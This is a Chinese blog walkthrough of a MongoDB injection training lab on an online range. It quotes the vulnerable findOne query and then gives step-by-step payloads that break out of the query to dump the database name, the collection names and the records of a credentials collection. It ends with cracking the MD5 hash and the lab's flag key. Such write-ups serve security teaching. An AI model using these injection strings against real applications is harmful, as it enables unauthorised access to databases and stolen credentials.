MongoDB靶场(手工注入)攻略

MongoDB 是⼀个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案

MongoDB 是⼀个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最富,最像关系数据库的。MongoDB 将数据存储为⼀个文档,数据结构由键值(key=>value)对组成

靶场地址:SQL手工注入漏洞测试(MongoDB数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

第一步:

给出的源码...可以看到数据库查询的语句如下..构造回显测试..

复制代码
var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 "({'" 来构造payload 因为返回的数据是$obj['retval']['title']与$obj['retval']['content'],可以尝试return({title:'1',content:'2'})来构造回显测试
id=1'});return({title:'1',content:'2
第二步:查询数据库库名
获取数据库名称:
复制代码
id=1'});return({title:tojson(db),content:'2
第三步:查询数据库表名
复制代码
id=1'});return({title:tojson(db.getCollectionNames()),content:'2
第四步:查询数据库字段值
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
复制代码
id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
第五步:cmd5解密

地址:md5在线解密破解,md5解密加密

第六步:登录后台

KEY:mozhe82a

相关推荐
dleei20 分钟前
MySql安装及SQL语句
数据库·后端·mysql
信徒_1 小时前
Mysql 在什么样的情况下会产生死锁?
android·数据库·mysql
嘴对嘴编程2 小时前
oracle数据泵操作
数据库·oracle
·薯条大王8 小时前
MySQL联合查询
数据库·mysql
ALe要立志成为web糕手8 小时前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
morris13110 小时前
【redis】redis实现分布式锁
数据库·redis·缓存·分布式锁
hycccccch10 小时前
Canal+RabbitMQ实现MySQL数据增量同步
java·数据库·后端·rabbitmq
这个懒人11 小时前
深入解析Translog机制:Elasticsearch的数据守护者
数据库·elasticsearch·nosql·translog
Yan-英杰11 小时前
【百日精通JAVA | SQL篇 | 第二篇】数据库操作
服务器·数据库·sql
NineData12 小时前
NineData云原生智能数据管理平台新功能发布|2025年3月版
数据库